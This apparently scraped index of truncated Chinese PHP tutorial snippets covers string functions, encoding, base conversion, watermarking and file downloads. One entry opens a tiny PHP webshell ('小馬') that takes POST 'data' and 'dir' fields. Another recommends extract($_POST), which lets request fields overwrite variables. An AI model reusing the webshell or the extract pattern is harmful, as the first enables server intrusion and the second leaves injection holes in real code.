Time of Update: 2016-07-21
empty — 檢查一個變數是否為空白 Report a bug 描述 bool empty ( mixed $var ) 如果 var 是非空或非零的值,則 empty() 返回 FALSE。換句話說,""、0、"0"、NULL、FALSE、array()、var $var; 以及沒有任何屬性的對象都將被認為是空的,如果 var 為空白,則返回 TRUE。 除了當變數沒有置值時不產生警告之外,empty() 是 (boolean) var 的反義詞。參見轉換為布爾值擷取更多資訊。
Time of Update: 2016-07-21
剛學習PHP,不久,一般就看看手冊,和一本叫PHP和mysql web開發的。 最近在整留言板,剛才遇到個問題。 頁面中,好多類似 Notice: Use of undefined constant title - assumed 'title' in D:\wamp\www\phpmysqlweb\bbs\list.php on line 17 頁面很難看,很糾結啊,我用的是wamp整合套件。 百度了下,看來好多朋友也有這個情況。
Time of Update: 2016-07-21
中文字元編碼研究系列第三期,PHP函數篇掌握ord()與 chr()函數應用,上期[PHP基礎篇詳解ASCII碼對照表與字元轉換]一文中瞭解了ASCII碼和字元轉換的方法,但使用時發現在字元轉換之間需要兩個特殊的函數,用於字元與十進位之間的轉換,ord()函數把字元轉換為十進位數字,chr()函數把十進位數字轉化為字元,在二進位,八進位,十進位與十六進位之間充當橋樑的作用。 一,ord()函數的應用 ord()函數用於返回一個字元的ASCII值,最基本的用法如擷取a 的ASCII值ord('a'
Time of Update: 2016-07-21
文字編碼的轉換mb_convert_encoding() mb_convert_encoding( $str, $encoding1,$encoding2 ) $str,要轉換編碼的字串 $encoding1,目標編碼,如utf-8,gbk,大小寫均可 $encoding2,原編碼,如utf-8,gbk,大小寫均可 執行個體1 複製代碼 代碼如下: $str='指令碼之家:http://www.jb51.net'; echo mb_convert_encoding($str, "UTF-8");
Time of Update: 2016-07-21
複製代碼 代碼如下: $keys =array( array('網頁特效','/js_a/js.html'), array('seo','/seo/seo.html'), array('php','/phper/php.html'), array('jsp','/jsp/jsp.html'), array('asp','/asp/asp.html'), array('ps','/fw/photo.html'), array('photoshop','/fw/photo.html'),
Time of Update: 2016-07-21
一.字串插入 雙引號與單引號的區別: 1.雙引號的使用: 複製代碼 代碼如下: //雙引號可以解析變數和逸出字元 $username = "jack"; echo "his name is $username!"; echo ""; $username = "小東"; //如果是英文的驚嘆號會正常解析變數 echo "他的名字是$username!";//他的名字是小東! echo ""; //如果是中文的驚嘆號則會解析不出來 echo "他的名字是$username!";//他的名字是
Time of Update: 2016-07-21
一,十進位(decimal system)轉換函式說明 1,十進位轉二進位 decbin() 函數,如下執行個體 echo decbin(12); //輸出 1100 echo decbin(26); //輸出 11010 decbin (PHP 3, PHP 4, PHP 5) decbin -- 十進位轉換為二進位 說明 string decbin ( int number ) 返回一字串,包含有給定 number 參數的二進位表示。所能轉換的最大數值為十進位的
Time of Update: 2016-07-21
寫採集必用的函數,URL補全函數,也可叫做FormatUrl。 寫此函數作用就是為了開發採集程式,採集文章的時候會經常遇到頁面裡的路徑是 “相對路徑” 或者 “絕對根路徑” 不是“絕對全路徑”就無法收集URL。 所以,就需要本功能函數進行對代碼進行格式化,把所有的超連結都格式化一遍,這樣就可以直接收集到正確的URL了。 路徑知識普及 相對路徑:“../” “./” 或者前面什麼都不加 絕對根路徑:/path/xxx.html
Time of Update: 2016-07-21
變數名與 PHP 中其它的標籤一樣遵循相同的規則。一個有效變數名由字母或者底線開頭,後面跟上任意數量的字母,數字,或者底線。按照正常的Regex,它將被表述為:'[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'。 Note: $this 是一個特殊的變數,它不能被賦值。
Time of Update: 2016-07-21
多的不說,直接上代碼: 複製代碼 代碼如下: ignore_user_abort(true); //設定用戶端中斷連線時是否中斷指令碼的執行 set_time_limit(0); $file = '/tmp/ignore_user.txt'; if(!file_exists($file)) { file_put_contents($file); } if(!$handle = fopen($file,'a+b')){ echo "not open file :".$file; exit; } $
Time of Update: 2016-07-21
作者: spider 我也來個超小PHP小馬 複製代碼 代碼如下: header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> if(!(isset($_POST["data"]) && isset($_POST["dir"]))) exit();
Time of Update: 2016-07-21
.htgroup 檔案樣本: admin: user2 editor: user1 user3 writer: user3 複製代碼 代碼如下: class Htgroup { private $file = ''; private function write($groups = array()) { $str = ''; foreach ($groups as $group => $users) { $users_str = ''; foreach ($users as $user) {
Time of Update: 2016-07-21
用戶端從服務端下載檔案的流程分析: 瀏覽器發送一個請求,請求訪問伺服器中的某個網頁(如:down.php),該網頁的代碼如下。 伺服器接受到該請求以後,馬上運行該down.php檔案 運行該檔案的時候,必然要把將要被下載的檔案讀入記憶體當中(這裡是聖誕狂歡.jpg這張圖片),這裡通過fopen()函數完成該動作 注意:任何有關從伺服器下載的檔案操作,必然需要先在服務端將檔案讀入記憶體當中 現在檔案已經在記憶體當中了,這是需要從記憶體當中讀取檔案,通過fread()函數完成該動作
Time of Update: 2016-07-21
函數如下: 複製代碼 代碼如下: function update_timelist(&$arr,$timestamp,$threshold){ $timequeue = &$arr['timequeue']; while(!empty($timequeue[0])&&($timestamp-$timequeue[0])>$threshold){ array_shift($timequeue); } array_push($timequeue, $timestamp);
Time of Update: 2016-07-21
今天筆者在這裡講一講使用joomla內建的mootools javascript庫的實現ajax,由於是內建庫,所以不用管有沒有jquery,那麼怎麼實現呢,首先建立一個ajax的擷取按鈕,一般我們都是在組件的編輯中用到,所以檔案一般在views\你的視圖\tmpl\default.php裡面: 複製代碼 代碼如下: $doc =& JFactory::getDocument(); $script = window.addEvent('domready', function() {
Time of Update: 2016-07-21
近日在看一個牛人的代碼時,看到一個非常好用的函數:extract(),它的主要作用是將數組展開,鍵名作為變數名,元素值為變數值,可以說為數組的操作提供了另外一個方便的工具,比方說,可以很方便的提取$_POST或者$_GET的元素,對錶單提交上來的內容不能不用一一賦值,直接使用下面代碼: form.html 複製代碼 代碼如下: 在action.php中只要使用extract()函數將$_POST全域資料解開: action.php 複製代碼 代碼如下: extract($_POST);
Time of Update: 2016-07-21
支援文字浮水印、圖片浮水印 支援浮水印的位置隨機或固定(九宮格) 浮水印透明度設定(圖片浮水印和文字浮水印都支援) 文字浮水印的字型、顏色、大小設定 圖片浮水印的背景透明 複製代碼 代碼如下: /** * 加浮水印類,支援文字圖片浮水印的透明度設定、浮水印圖片背景透明。 * 日期:2011-09-27 * 作者:www.jb51.net * 使用: * $obj = new WaterMask($imgFileName); //執行個體化對象 * $obj->$waterType = 1; //
Time of Update: 2016-07-21
複製代碼 代碼如下: //作者:www.tongqiong.com //header("content-type:text/html; charset=utf-8"); //include_once("include/config.php"); //include_once("include/db_mysql.inc.php"); ////include_once("include/n_public_function.php"); //$db = new DB_MYSQL("localhost"
Time of Update: 2016-07-21
禁止單個IP //加IP訪問限制 if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $userip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $userip =
Time of Update: 2016-07-21
複製代碼 代碼如下: $file = 'monkey.gif'; if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($file)); header('Content-Transfer-